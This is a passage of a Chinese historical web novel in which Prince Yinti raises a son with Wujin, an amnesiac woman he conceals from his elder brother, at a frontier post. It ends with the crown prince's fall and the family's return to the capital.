乌锦只是过来看看孩子,看完孩子就回自己的房间了,今日一早就起来了,又折腾了半天,她有些犯困了。
“十四,我要睡觉。”
“那你睡,睡一个时辰就好,免得晚上不好睡。”
“十四,你陪我。”
胤禵当然应她,跟她到床上睡觉。
日子就这样过去,一年后,弘春开始学会爬了,天天爬来爬去,才一岁多就能看出他好动的性子。
“桃子,你看看弘春,又抓着我的玉不放。”
乌锦正在给孩子做衣服,听到胤禵的话也只是抬一下头,嗯了一声后继续缝衣服。
胤禵以前还能把这些针线活收起来,不让乌锦沾手,现在乌锦压根不听他的话,想做什么就做什么,她不像以前那么好糊弄跟蒙骗了,已经很有自己的想法。
胤禵见到自己儿子将他腰间的玉
佩放进嘴里咬,他将玉佩拔出来,把儿子抱起来,一抱起来,儿子就开始哭起来。
“奶娘说孩子牙痒,所以才什么都想咬。”
“我看看长了几颗牙。”胤禵让弘春张嘴,可是一岁的弘春哪里听得懂他的话,只一个劲地哭。
胤禵把玉佩解下来给弘春,他没有继续哭。
“过几日是赵闻娶妻,你随我一起去参加婚宴吧。”
“嗯。”
乌锦已经不问赵闻是谁,说明她记得赵闻这个人,胤禵看着乌锦已经跟普通人无异,她也融入这里的生活,这不知是好事还是坏事。
“看我干什么?”
“你长得好看。”
乌锦没搭理他,继续缝衣服,胤禵笑了笑,她向来对这些甜言蜜语反应冷淡,他抱着儿子凑过去:“这些交给绣娘做就好了,不用自己亲手做,你看你的手到时候又多几个针眼。”
“我闲着没事做,十四,你好啰嗦,我想做什么就做什么,你不许管我。”
胤禵无奈,她这阵子常说这句话,不许他管她,像孩子长大了,来到叛逆期一样,他也只好闭嘴,免得惹她生气,见儿子还要硬咬玉佩,他把玉佩扯出来,说道:“小心咯坏牙,去,拿小木棍过来。”
胤禵把弘春常咬的小木棍给他咬着。
“你说他什么时候会说话?”
“人家说孩子都是两三岁才会说话,这个不用着急。”
胤禵说有的孩子不到一岁就会说话了,大多一岁多就会说话了。
“我这么聪明,我当年可是一岁多就会说话了,他是我儿子,怎么没继承到他阿玛的聪明才智。”
乌锦再抬头看他,胤禵不心虚,扬着脸跟她对视,“难道我说得不对吗?他是我的儿子。”
“可能他阿玛也没有那么聪明吧。”
“你说什么?你是说我傻吗?我哪里傻?”胤禵把脸凑过去,前额抵着乌锦的脸。
乌锦推他的脸,他继续靠近,儿子夹在他们中间,如此反复几次,把乌锦逗笑。
“你属猫的吗?这么黏人。”
“你没养过猫,怎么知道猫黏人。”
一句话让乌锦愣住,好像也是,她反问:“猫不黏人吗?”
“我也没有养过,我不知道,要不要我们养一只猫?算了,猫会挠人,万一把你跟孩子挠到了怎么办,还是不要养好了。”
胤禵的脸被乌锦捏了捏,他觉得乌锦这个时候把他当小孩子了,她毕竟年长他十岁。
“你不要再闹我,弘春的衣服我做了好几天都没能做好,再闹下去,夏衣就要变成秋衣了,你离我远一点,别跟我说话。”
“我不要,哪有把自己夫君赶出去的。”
说到夫君二字时,胤禵小心觑着乌锦的脸色,她可能都不知道夫君意味着什么。
乌锦只好把那些针线活都收起来,从他手里接过儿子。
胤禵也坐下来,两人拿着拨浪鼓逗着儿子玩,他看着长得跟乌锦很像的儿子,有些发愁,女儿像乌锦也就算了,怎么儿子也像乌锦。
他偏头看着温柔逗着儿子玩的乌锦,觉得这样的日子很好,他想就这样过一辈子,他一辈子不回京城都可以。
儿子突然又哭起来。
“应该是饿了,让奶娘抱走给他喂奶吧。”乌锦说道。
胤禵把奶娘叫进来,让孩子抱走。
孩子一走,只剩下他们两个人,胤禵就凑过去吻乌锦,乌锦没有拒绝,很是温顺。
第96章第96章新文《康熙家的德妃又作又茶……
赵闻是镶白旗汉军副都统,驻守在雁北关的八旗兵将,他娶的是镶白旗一普通佐领之女,其成亲当日,胤禵带着乌锦过来参加婚宴。
男眷跟女眷是分席而坐,胤禵只能叮嘱青茉跟青莉要好好看着夫人。
乌锦身为十四阿哥的侍妾,没人敢给她脸色看,完全是座上宾,被一群人围着讨好恭维,胤禵的的担心纯属多余,那些官妇都知道她一年前生了阿哥,都在跟她聊孩子的事。
乌锦也顺着跟她们聊孩子的事,问那些生过孩子养过孩子的人孩子一岁能吃什么,孩子这阵子牙痒,什么都都想咬,有什么办法不让他乱咬东西。
她的平易近人让那些人更加热络,跟她聊得更起劲,在筵席还没开始前,几乎是将她围成一团。
乌锦自己也没有胆怯,已经能平静地面对这些寒暄跟热情,而且有几个是她见过的,已经算得上是熟人了,所以比较放松。
在她没注意到的角落里,有一四十岁左右的妇人正盯着乌锦看,她是正红旗汉军马甲巴郎之妻白氏,丈夫巴郎是十四阿哥的包衣奴才,如今是汉军马甲,也是两年前跟着十四阿哥从京城过来镇北关的,出嫁随夫,她带着孩子也跟了过来。
丈夫官职不高,没什么机会到十四阿哥面前面见主子的,她身为内眷,更没什么机会了,她只是听丈夫说过十四阿哥后院中有一吴侍妾,一年前生了阿哥,很是受宠,底下的人尊称为吴夫人,她自己是没有见过十四阿哥的侍妾。
因丈夫跟赵副都统属于远亲,他们才能过来参加婚宴,她才能见到十四阿哥的侍妾,她早就听说过吴夫人容貌十分出色,今日一见果然传言不虚,只是她越看越觉得眼熟,尤其是吴夫人的眼睛,她总觉得在哪里见过。
她忽然想起自己在哪里见过吴夫人了,她去过绣秀苑,当时有一位乌锦的绣娘绣工很好,后来她听说乌锦当了四阿哥的外室,又从外室进四贝勒府当了主子,生了一位格格。
乌锦的眼睛跟这位吴夫人的眼睛很是相似,甚至连身形跟年龄都很相似,除了乌锦脸上有一块疤,而吴夫人没有,她细细回想,觉得乌锦脸上没了那块疤,好像就跟吴夫人长得一模一样了。
只是乌锦已经是四阿哥后院的女人,又怎么会成了十四阿哥的侍妾,世上难不成真有两个一模一样的人。
白氏盯着吴夫人的脸看,心里疑惑不已,她见吴夫人起身往外走,不知要在哪里,她也顾不得什么,起身跟上去。
“吴夫人……”
吴夫人回头,白氏又是一愣,吴夫人回头那一幕像极乌锦,她都以为自己见到乌锦了,她去过绣秀苑好几次,还跟乌锦说过话,她觉得自己没有认错人了,更何况样貌像就罢了,哪有人连年龄都对得上。
白氏不动声色,先自报家门,说了丈夫的官职,说他们是十四阿哥的包衣奴才,屈膝道:“先前夫人生小阿哥时,十四阿哥下发赏银,我们还没有当面跟主子们道谢,今儿遇到,我只是想跟夫人道谢,多谢。”
“你们既是十四的人,十四予你们恩惠,那也是你们尽职守责,不用多礼。”
白氏听到吴夫人的声音,心里越发肯定吴夫人是乌锦,连声音都像,她低头敛去自己的震惊,见吴夫人是要往恭房那边走,她也不敢再多说什么。
只是等喜宴开始后,白氏还是忍不住多次看向吴夫人,吴夫人的一颦一笑都像乌锦,她是见过乌锦的,不会认错人。
乌锦不知道白氏所想,也没注意到白氏的目光,她沉浸在吃席中。
白氏是奴才,主子们的事,她哪敢乱说什么,她回去的时候,夜里跟自己丈夫躺在一张床上时,她才敢试探地提起四阿哥先前养外室的事。
“听说那外室进了四阿哥的后院,成了主子,后来怎么样了?”
“成了主子还能怎么样,你这个婆娘在胡说什么,都成主子自然过着锦衣玉食的生活,你好端端的怎么提起这事?”
白氏说道:“我这不是突然想起来,我先前也是见过那外室的,我跟你说过的,是绣秀苑的绣娘乌锦,我想去让你打听打听乌锦的现状。”
“这皇家的事哪是我们能随便打听得到的,再说我们在镇北关,又不是
在京城,你这婆娘大晚上的不睡觉,打听这些干什么,人家贵为主子了,又远在京城,你难不成还想去攀关系,快睡吧。”
自家丈夫的榆木脑袋,白氏气得要死,她又不能明说,就怕丈夫在外面说错话,见丈夫背过身睡觉,她也只好不想着这事。
没想到自家丈夫过几天给她带回来一个消息,说是乌锦死了,白氏一愣,问是怎么死的,他怎么知道的。
巴郎说他跟别人闲聊时说起四阿哥养外室这事,别人告诉他四阿哥那外室死了,那人跟乌锦家的大舅那边的亲戚沾点姻亲才从乌家那边得知此事,外人其实是不知道的。
乌锦竟然死了?那她见到的吴夫人是谁?会不会吴夫人就是死掉的乌锦,白氏越想越心惊,觉得自己仿佛知道了天大的秘密,真正的皇家秘闻。
不过那都是主子们的事,他们这些当奴才哪敢妄议主子,更何况他们是十四阿哥的包衣奴才,不是四阿哥的包衣奴才。
白氏尽管知道什么,不敢乱说,更不敢对外人说,只能将这事埋在心里。
……
乌锦上一次在婚宴中从那些生育过的官妇口中得知孩子一岁可以吃点别的,不只是喝奶,她就让奶娘给孩子喂点粥。
只是弘春刚开始喝粥就拉肚子,夜里哭闹不止,乌锦吓得不敢让他继续喝粥,自责不已。
胤禵见到乌锦眼眶泛红,连忙安慰她:“这不是你的错,不用自责,孩子肠胃弱,只是一时不适应。”
“都怪我,我不听别人说就好了。”
“不怪你,孩子都不一样,有些孩子能吃,有些孩子不能吃,不能一概而论,再过一段日子,弘春再长大些,他就能喝粥了。”
“真的?”
“自然是真的,弘春的吃食就交给奶娘吧,她们也养育过孩子,知道弘春能吃什么,你不用太操心。”
乌锦看着胤禵,委屈道:“十四,你会不会觉得我很没用,我连额娘都不会当。”
“怎么会,你就是弘春的额娘,你对弘春最好了,弘春长大后肯定明白你是对他最好的人。”
“真的?”
胤禵肯定地点头。
乌锦心情才好一些。
好在弘春之后又能吃能睡了,乌锦才彻底放下心。
到了八月底,胤禵收到皇阿玛的信,召他回京一趟,他两年没有回京了,额娘的生辰也快到了,他该回京一趟,只是这一回少说也要两个月,弘春还小,肯定不能随着他回去。
回京要住在宫里,他也不能带乌锦回去,但他不放心乌锦一个人在这边,出什么事,他都鞭长莫及。
他跟乌锦说他要回京两个月时,乌锦眼里立即有很多不舍。
“那十四,你还会回来吗?”
胤禵轻笑,搂住乌锦,亲了亲她的脸颊:“说什么呢,我怎么可能不回来,是皇阿玛召我回去,两个月后我就回来了,你跟弘春就留在这边,等我回来。”
“我想跟着十四。”
“弘春还小,他需要他额娘待在身边,路途遥远,弘春不适合跟着长途跋涉,所以你先待在弘春身边,我很快就会回来。”
乌锦很少跟十四分开,在她的记忆里,十四一直在她身边。
“那下雨怎么办?”
傻乎乎的话让胤禵心里满是柔软,他不由自主地吻上乌锦的红唇,想把她嵌进骨子里。
“要是下雨了,你要记得一共下了几次,等我回来,我再补上,这块玉佩给你,拿着它,你就当是我在你身边,不用害怕。”
“弘春啃过的。”
胤禵轻笑:“是弘春啃过的,你不要嫌弃弘春的口水,那可是你儿子。”
乌锦手里握着玉佩,还是有些嫌弃。
胤禵离开那一天,乌锦哭着送他,让他记得回来,生怕他抛弃她们母子两,他也不想离开,只是皇命难违,皇阿玛召他,他就得回去。
过了大半个月,胤禵才回到京城,没把乌锦带回来,他也不用太提心吊胆,回来第一天先去觐见皇阿玛,跟皇阿玛说边关那边的现状。
目前边关相对稳定,没有人犯事,他度过平和的两年。
“胤禵,你辛苦了。”
“皇阿玛,儿臣一点都不辛苦,这都是儿臣该做的。”
胤禵被皇阿玛亲自扶起来。
“你是好孩子,朕那么多儿子当中,你最让皇阿玛放心。”
胤禵就不敢接这话了,他远在镇北关,又刚回来,对朝中的局势还不是很清楚,他上面有那么多哥哥,难不成他们没让皇阿玛放心吗?
“皇阿玛,我还没有跟母妃问安。”
“去吧。”
胤禵告退,去永和宫走一趟,母妃问他为什么不把弘春带回来,她想看看孙子,他说弘春还小,才一岁,不适合舟车劳顿,母妃这才没说什么。
母妃提到娶福晋的事。
“你这次回来,一定要把这事给解决了,额娘为你挑选了一些好姑娘,你看看哪个合适。”
胤禵知道他肯定得娶嫡福晋,乌锦不适合当他的嫡福晋,所以他现在不排斥娶福晋,他让母妃自己决定就好。
胤禵累了,回到阿哥所后就先沐浴,然后睡一觉。
等他睡醒后才打听朝中的局势,这两年京城有没有发生什么大事,一打听下来,他发现二哥怎么又失势不少,皇阿玛还在打压二哥,八哥在朝中获得贤名。
这些都不关他的事,胤禵回京后反而闲下来,因弘春是在镇北关那边出生,他也有两年多没回京城,他回来后收到不少礼,包括来自四哥他们送的,算是补送给弘春的生辰礼。
胤禵回来后也被大哥他们叫去酒楼喝酒,他以前爱喝酒,不过已经很久没有喝醉过,乌锦也不喜欢他喝酒,他渐渐就少喝了。
大哥说他回来后变拘谨许多,连酒都不喝了。
胤禵这才陪着大哥喝了一些。
陪大哥喝完,过几日,他又被四哥跟十三叫去贝勒府,他跟四哥他们坐在一块吃饭,他注意到四哥跟十三这两年似乎走近不少。
四哥似乎从乌锦的“死”走出来了,人没那么颓丧,可见四哥也没有那么喜欢乌锦,两年后,他对乌锦的感情应该淡得差不多了。
胤禵喝个半醉从四哥府里出来,跟十三一块回宫,十三难得打趣他,说本以为东北苦寒,他回来后会消瘦不少,但恰恰相反,他看起来气色不错。
胤禵在那边过得很自在,没什么烦心事,心宽体胖,当然就不会消瘦。
“京城虽好,但我自由散漫惯了,还是适合待在边关。”
“是,你小时候天天跑出宫,骑马狩猎,在边关对你而言反而是好事,更没人管你了。”
“十三,可是你觉得京城不自在?”
“没有,我就是随口一说,你不必把我的话放在心上。”
他们这才结束聊天,胤禵算是发现了,这两年,他那些哥哥们更是离心了,以前还能凑在一块喝酒,现在他回来,跟他那些哥哥喝酒都是要分开喝,都不能凑在一块了。
胤禵在心底叹口气,他只回来两个月,皇阿玛跟母妃很快为他择好福晋人选,侍郎罗察之女完颜氏,亲事先定下来。
胤禵不在乎娶的是谁,他反正不会带福晋去镇北关,只会让她留在京城侍奉母妃。
他以为自己回来两个月,不会有什么大事发生,没想到皇阿玛将他们跟群臣召去乾清宫,当着他们的面指责二哥的罪行,不限于生性暴戾,不遵祖德,结党营私,摄威擅势,奢侈成性,刺杀弟兄,残忍至极。
一条条罪状说下来,他们在殿内心惊。
二哥跪在中间,想反驳时被皇阿玛喝止,皇阿玛说出太祖太宗世祖缔造的祖业不可交付在二哥手中,要废掉二哥的太子之位,囚于毓庆宫。
胤禵心中震惊,不可置信地看着皇阿
玛,皇阿玛竟然要废太子,这其中是不是发生了什么他不知道的事。
有大臣替二哥求情,皇阿玛说替二哥求情者斩立决,依旧有人站出来替二哥求情,皇阿玛直接让人拖下来斩杀,可见皇阿玛废太子之心有多坚决。
好几个人被拖下去后,殿内无声。
兄弟之中唯有三哥替二哥求情,不过也被皇阿玛怒斥,皇阿玛让人把二哥带下去,直接当着他们的面让人写下废太子的诏书。
废太子这事似乎成了铁板钉钉的事情,胤禵从乾清宫出来后仍感到不可置信,他下意识想找四哥问问是怎么回事,四哥也讳莫如深。
胤禵消息不灵通,还是从母妃那边得知一点内幕,听说皇阿玛查出两年前刺杀皇子之举的幕后主使者是二哥,二哥当时受重伤,第一时间才没有怀疑到二哥那边,经过两年查证才查出幕后主使者。
这事也不知是真是假,不过若真是二哥所为,谋杀亲兄弟这一条是挺可怕的,乌锦“丧命”就是因为这场刺杀,乌锦差点死了,连四哥跟十三都差点丧命,说明二哥是真想杀掉他们。
为何二哥想杀四哥他们,当时不只是四哥遭遇刺杀,当时三哥跟十哥也遇到刺杀,皇阿玛当时对二哥不满,将索额图一党铲除,二哥当时的太子之位有些动摇。
二哥是不是想着除掉他们,他的太子之位就更稳了,皇阿玛只能选他来继位,而皇阿玛要废掉二哥的太子之位,是不是觉得二哥连亲兄弟都敢下手,保不齐哪一天他会想着对皇阿玛动手。
这太子不废不行,说到底二哥正值盛年,而皇阿玛已经老了,他开始担心自己的皇位被人觊觎。
二哥被废被囚,朝中又开始风声鹤唳,人人自危。
先前二哥的太子有所动摇时,他上面那些哥哥就开始有异心,如今二哥被废,显然没有继位的可能,势必有人要继位,他们可能更加盯紧皇位。
不过这跟胤禵没有太大的关系,他回京第二个月就娶了侍郎罗察之女完颜氏,婚事匆促了一些,不过皇阿玛可能是觉得太子被废不是什么好事,想要一桩婚事来冲喜。
他在十二月初才启程回镇北关,原本只打算回京两个月,结果硬生生变成三个多月,他归心似箭,原本要半个多月快二十天的行程,他花了十四天。
乌锦他们也不知道他几时回镇北关,当他风尘仆仆,疲惫不堪地出现在她们母子两前时,两人都是一愣。
乌锦眼睛瞪得老大了,一脸不可置信,他特意不让奴才通传,就是为了给她一个惊喜。
“怎么,傻了?”他笑道。
“十四,你去了好久,我以为你不回来了。”
胤禵也知道自己算是食言了,拖了这么久才回来,她肯定等急了,他见乌锦眼睛红了,开始落泪,他忙上去搂住她。
“我这不是回来了嘛,在路上耽搁了。”
“十四,我以为我再也见不到你,弘春没有阿玛了。”
胤禵见乌锦声音哽咽,他上手轻轻抹去她的眼泪,她眼里是真的害怕,她应该不知道偷偷哭了多少回,她一哭,他的心跟着揪起来。
“是我不好,我应该早点回来的。”
“是你不好,你总是食言。”
“下次不会了,我以后不会再食言了,别哭了。”
胤禵将她的眼泪吻去。
乌锦推了推他,似乎有些害羞,旁边还有奶娘她们在呢,胤禵只好停下,让奴才备水,他要先洗澡。
等他洗完出来,乌锦还在抱着弘春,几个月不见,他觉得弘春又胖了一些,脸蛋更圆了。
“好啦,把他交给奶娘吧。”
“为什么?我想抱他。”
刚刚见到他还哭了的人,此时又只顾着抱孩子,孩子有他重要吗?
“孩子饿了,先让奶娘喂奶。”
“那好吧。”
这么一说,乌锦才愿意把孩子交给奶娘,胤禵使一个眼色,奶娘她们通通出去,房间内只剩下他跟乌锦,他就忍不住亲她。
“十四,你那边下雨了吗?”
“下了,下了十场雨,你有没有数这边下了几场雨?”
“我数了,下了……”
胤禵见乌锦开始数手指头,样子十分可爱,他想到她这三个多月数下雨的次数,下雨背后的含义,他就觉得自己的心热得厉害,真恨不得将她融入骨血之中。
“一共下了十五天。”
“这么多?”
乌锦肯定地点头,胤禵手环住她的腰,欺身贴近她,轻声道:“这么多?那十次跟十五次加起来是多少?”
“二十五。”
“哇,桃子好厉害,这么快就算出来了,那我们就补回来好不好?”
“你不累吗?”
“我一点都不累。”胤禵觉得自己此时精神抖擞,完全感觉不到疲惫,他堵住她的嘴,在她快呼吸不过来,发出呜咽声时,他才松开,她红唇很快泛着光泽,眼睛红红的,连唇色也红红的。
“下雨的时候害怕吗?”他问。
“有一点。”
胤禵双手捧着她的脸,又亲了亲。
“好啦,我回来了,你以后不用害怕了。”
“十四,你以后都不要走好不好?”
胤禵点头,说他以后去哪都带着她。
“还有弘春。”
胤禵莞尔,点点头说把弘春也带上,把他们都带上,她高兴地双手攀住他的脖子,他很快压着她。
到后面,乌锦骨头好像彻底酥软下来,结束时,她的唇色更红了,胤禵见床头放着他给她的玉佩,他的心就更热了,心想下次去哪都把她给带上,不要分开这么久。
“十四,还剩下二十四次。”
“嗯,我记着呢。”
乌锦害羞地躲在被子里面。
胤禵没有把她拉出来,而是跟她一样缩进被子里面,将她结结实实抱住,刚才还不累,现在有点累了。
“陪我睡一会儿好不好。”
“嗯。”
胤禵把人抱在怀里才觉得心安,随后沉沉睡过去,这一睡就是一个时辰,等他醒来时,床边已经没人,他听到弘春的哭声,他自己起来,穿好衣服走出去。
好几个大人在哄弘春,这孩子哭声更嘹亮了,乌锦在一边满脸无奈,似乎哄不好孩子,他过去把孩子抱起来。
弘春很给他这个阿玛面子,他抱了一会,他就不哭了,他跟乌锦挑挑眉,眼神有些得意。
乌锦翻了一个白眼。
胤禵呵呵直笑。
第97章第97章新文《康熙家的德妃又作又茶……
五年后,康熙五十二年三月初。
弘春六岁,只要胤禵有空,便会带着弘春骑马射箭或是狩猎,弘春也跟着谙达练习武艺,在乌锦的要求下,他每隔三天要跟着教书先生上一天课,不然他成天在外面肆意疯玩,跟着他阿玛像个野猴子似的成天坐不住。
他又是胤禵的儿子,没人敢管他,跟他同龄的孩子或是长他几岁的孩子都以他为首,在镇北关这一块,几乎是横行霸道,跟个小霸王似的,连乌锦都对这个儿子头疼不已。
“额娘,你看,我跟阿玛猎到的野兔。”弘春直接提着一只活着的野兔跑进来,那兔子在他手上还在挣扎,他十分兴奋地跟她炫耀,把兔子提溜到她面前,把她吓一跳。
“弘春,拿远一点,小心兔子挠到你额娘。”
跟进来的胤禵皱眉责备一句。
“十四,你别老带他出去玩,还有弘春,你赶紧把兔子给放下来,去洗手,我都说了不要将这些动物直接带进房间。”
“额娘,我只是想给你看看。”
乌锦见自家儿子看上去有些失落,她只好敷衍地称赞一句:“很好,弘春很厉害,连野兔都抓得到,你快把它放进笼子里,你知道额娘不敢碰这些动物的。”
“额娘胆小,我胆子大。”
他的胆子就是太大了,乌锦头疼,瞪了一眼胤禵。
胤禵被乌锦一瞪,怕她生气,忙说道:“弘春,你把兔子交给贾公公吧,让贾公公帮你看着,跑不了,你去洗手。”
乌锦在一旁接话道:“不仅要洗手,直接帮他洗澡吧,蔡妈妈,你带他去洗澡吧,换身干净的衣服,还有你,你也去换一身干净的衣服。”
胤禵跟自己儿子对视一眼,乖乖地照做。
乌锦见时辰也不早了,让青茉去膳房提膳。
等父子两洗完澡,膳食已经摆好了,乌锦让他们坐下来吃饭。
“明日不可再去,弘春,你明日要上学,额娘要检查你功课,要是你功课不过关,你以后就别想跟着你阿玛出去,好好呆在府里读书练字。”
“阿玛……”弘春眼神求助,看向他阿玛。
“这个阿玛帮不了你,阿玛也要听你额娘的,你玩的时候尽兴玩,学习的时候认真学,你功课过关了,你额娘不会拦着你出去玩的。”这个时候,
胤禵当然要站在乌锦这边,不然他晚上可能要被踢去别的地方睡。
“哦。”弘春撅着嘴应了一声,开始吃饭。
“天暖了,我听说过几日有一个大庙会,我们一起去逛逛。”胤禵看向乌锦,说道。
“嗯。”
弘春一听,立即兴奋:“好好好,额娘跟我们一起去,我要吃糖葫芦,我要吃好多好吃的。”
“你要是功课不过关,到时候只有你阿玛跟我一起去,你自己留在府里看书,什么糖葫芦,你通通都没得吃。”
弘春啊了一声,撒娇道:“额娘,你不能留我一个人在家,你舍得留我一个人在家?我可是你的乖宝。”
乌锦有时候会叫儿子乖宝,她看别人叫自己的孩子都是这样叫的,她也跟着这样叫,不过叫得不多,主要是弘春太调皮,很少有乖的时候。
“你不好好读书,功课不过关,就哪也不许去,撒娇也没有用。”
弘春只好说他明日好好读书。
乌锦这才满意地笑了笑,给弘春夹一块肉。
夜里,胤禵抱着乌锦,说弘春一下子就猎中野兔,身手矫捷,箭法很好。
“跟你这个阿玛学的,天天就知道骑马射箭,你看他写的字,跟狗爬似的。”
“识字就行,不需要把字写得很好看,你看弘春骑术箭法很厉害,文的不行,武的厉害,总有一技之长。”
乌锦轻哼一声,说他们父子两属于狼狈为奸,蛇鼠一窝。
胤禵直笑,亲了亲乌锦:“要是弘春听到他额娘这么说他,可能会伤心。”
乌锦推了推他,让他去告状。
“好啦好啦,我怎么敢,我肯定不会跟弘春说的,你们母子连心,弘春最喜欢你了,天天把你挂在嘴边,什么都想带给你看。”
“我不想看到那些流血的野兔野鸡,你们父子两明知我不喜欢,还偏偏拿给我看,分明是存了坏心。”
这边地广人稀,那些野兔野鸡雀鸟非常多,有时候他们一群人还会特意一起狩猎,胤禵不得不承认,有时候弘春是想吓他额娘来着,坏心肯定谈不上,就是想逗逗乌锦。
见乌锦犯困,胤禵才搂着她入睡,结束聊天。
第二日,弘春不知用了什么方法,顺利通过查功课这一关。
到了三月九日,庙会当天,他们一家三口出门,街上已经有许多老百姓,难得热闹,随从的侍卫将主子们围在中间。
摊贩的吆喝声近在耳边,乌锦牵着弘春的手,见前面有卖糖葫芦的摊子,过去买了三串,一人一串。
“额娘,你快看,好多鸟。”
前面有人卖五颜六色的鸟,一下子吸引弘春的注意力,他拉着她的手过去,那摊贩一见到他们穿的衣服就知道非富即贵,连忙介绍,有八哥、黄鹂、红嘴蓝鹊,白灵等。
“小主子,买一只吧,很便宜的。”摊贩看着弘春说道。
弘春回头看她,一看就是很心动。
“额娘,我想要。”
“那你挑一只吧。”
弘春咧着嘴笑,开始挑选,最后挑了一只黄色的八哥,顺带买一个笼子,仅花了一两银子。
过一会儿,弘春又见到卖鱼的摊贩,又买了一小缸金黄色的金鱼,一路上,弘春都兴致勃勃,还挤到人群中看人耍大刀还有喷火。
买的东西太多,他们先到附近的茶楼歇一歇。
“额娘,我还想吃糖葫芦。”
“吃点别的吧,来,吃一个炸糕,这个也好吃。”
乌锦拿出炸糕给弘春咬一口,又甜又油,刚炸出来的,还冒着热气,弘春一吃眼睛就放光。
“额娘,这个很好吃。”
乌锦平日里还是拘着弘春,不让他吃太过油腻的食物,外头那些小吃,他平日里更没什么机会吃到,这炸糕属于民间小吃,他还是第一次吃。
“十四,你也吃一个吧。”
“还好你眼里不是只有儿子。”
“弘春几岁,你几岁,你想吃什么可以自己吃。”
弘春得意地跟阿玛挤眉弄眼,胤禵知道自己争宠肯定争不过儿子,只能认命。
他们吃完买的小吃后才从茶楼过去寒隐寺,这寺庙里是人山人海,几乎是人挤人,不少香客拿着香在人群中挤来挤去。
“额娘,好多人啊,我们还是去逛街吧。”
乌锦本来也是想过来凑个热闹,没想到人这么多,上香不是他们的目的,于是他们就没进到寺庙里面,又走出去逛街。
过了大半天,后头的奴才几乎人手都提着一大堆东西,他们才回府。
乌锦在房间内看着弘春一直在逗买回来的八哥,她心情不错。
胤禵刚回来就过去书房那边了,听说是皇上那边来信。
乌锦让贾公公这两天去找一个会养鸟的人过来教弘春怎么养,这八哥该吃什么,她跟弘春说既然是他的鸟,他要好好养,不能养着养着就养死了。
“放心吧,额娘,我肯定会让它长命百岁的。”
乌锦听着儿子稚气的话,嘴角微扬,摸了摸他的头。
到了傍晚,乌锦看出十四心不在焉,吃饭的时候兴致不高,弘春吃好之后就去看他的金鱼,回他房间了。
乌锦是洗完澡,坐在梳妆台前擦头发时才问十四一句怎么了。
“皇阿玛要我们回京。”
“你这次要回去多久?”
这五年里,胤禵回去过三次,每次都是两个月,但乌锦跟弘春从来没回过京城,她只知道胤禵是皇子,排行十四,上面有好多哥哥,但因为没回过京城,她对那些人没有任何实感,她觉得镇北关才是他们的家乡。
胤禵看着乌锦,这次不是他一个人回去,因为这次皇阿玛是召他回京,他不用再驻守边关,也就意味着他要带着乌锦跟弘春一起回京城,而不是像前两次那样他一个人回京。
镇北关这几年相对平静,没有战事,皇阿玛可能觉得五年够了,他可以回京了,他能预想到自己不可能一辈子待在镇北关,只是没想到会来得这么快。
值得庆幸的是他上一年回京时,他被皇阿玛册封为贝子,已经从皇宫里搬出来,有自己的府邸,跟十三的府邸相邻。
他跟乌锦说是我们要一起回京城,可能不会回来镇北关这边了,乌锦也愣了一下。
“可是我们的家在这边。”
“皇阿玛召我们回去,我们不得不回。”
“京城长什么样?”
胤禵也被问住了,京城长什么样,这七年来,他都有点忘了乌锦只是失忆,她本来就生在京城长在京城,要是回到京城后,她见到那些熟悉的人跟物,会不会想起来以前的事。
他们一家三口在镇北关这边日子过得悠闲自在,远离京城的纷争,这样的日子,他想过一辈子,他不想让乌锦回到京城,怕她想起以前的事,也怕四哥见到她。
他知道这七年是他偷来的,但他不后悔,回到京城后,他也不会让四哥把人夺走,他还是要继续藏好乌锦。
“京城……比这里热闹。”
“一定要去那边吗?可以不去吗?我跟弘春在这里等你回来。”
胤禵过去抱住乌锦,他也多么想继续留在这边,只是皇阿玛信中要他回去,不容置疑,他是皇阿玛的儿子没错,但他也是臣子之一,皇命不可违。
“十四,你去哪,我们就去哪。”
听到这话,胤禵盯着乌锦的眼睛,情不自禁地吻她,恨不得将她呼吸全部夺去,她的唇舌被他不停地吮吸,到后面一发不可收拾,他们纠缠在一起。
……
回京一事确定下来,胤禵花几天跟那些幕僚跟属官交代手头上的事务,他带过来的包衣奴才有一半留在这边,另一边要跟着他回京。
府里的东西也开始收拾,七年来攒下不少,乌锦每一样都不舍得丢,连弘春一岁多穿的衣服都要收进箱笼里面。
弘春两三岁的时候很像乌锦,好在现在六岁了,五官长开了,反而像他多一点,不过细看的话还是能看出乌锦的影子,跟乌锦有三分相像。
这一点,胤禵有点欣慰,弘春毕竟是阿哥,他回京后可能会常出门,也需要常见人,乌锦是女眷,又不是福晋,待在后院的日子比较多,弘春长得太像乌锦不是好事,四哥心思还挺细腻敏捷的。
在准备回京这段日子,胤禵还挺焦虑的,但他不能对乌锦说。
乌锦忙着收拾东西,只是对离开镇北关有些不舍,但觉得回到京城后,她还是能跟十四跟儿子在一块,不过是换个地方住而已,反而没有那么焦虑。
四月一日,他们就起程回京了,一路上没什么事发生,到了通州,离京城只有一日路程时,胤禵还是让乌锦戴上面纱,只要下了马车就戴上面纱。
乌锦问他为何要戴面纱,他说她作为皇子的侍妾,不可在外抛头露面,被人目睹真实容貌,皇家规矩严苛,他身为皇子也得守规矩。
乌锦信了,每次下马车都会将面纱戴上,舟车劳顿,弘春也有点疲惫,两日后,他们终于回到京城。
胤禵发现来接他的人有四哥,基本上大哥他们都过来接他了,他见到四哥时心里忍不住一紧,好在乌锦他们在后面的马车,他先下来跟哥哥们寒暄打招呼,本来他们想今日就在酒楼为他接风洗尘,被他婉拒,说舟车劳顿,他得先安顿下来再说,寒暄过后,他才得以回府。
到达府邸大门前时,福晋完颜氏跟他那些侍妾也在门口迎他,胤禵下了马,绕到后面,跟坐在马车内的乌锦说已经到了。
乌锦下来时面纱已经戴上,胤禵将她从马车上牵下来,也把弘春抱下来。
“到了,我们进府吧。”胤禵说道。
原本站在门口的完颜氏等人见到十四阿哥下马后先过去牵吴侍妾,脸色都有点难看,见到传闻已久的弘春阿哥时更是差点绷不住,个个神色各异,任谁都看得出来十四阿哥多么喜欢吴侍妾。
这几年,十四阿哥远在镇北关,她们这些人连跟去镇北关的机会都没有,就是空守府邸,等着十四阿哥回来,听闻十四阿哥在镇北关只有一个吴侍妾伺候。
她们嫉妒的目光看向吴侍妾,吴侍妾戴着面纱,她们也没看清她的长相。
乌锦被胤禵牵着时忍不住掐了掐他手掌心,她是没想到胤禵后院有这么多女人,她只是从他口中听说过一个福晋,其他人听都没听说过。
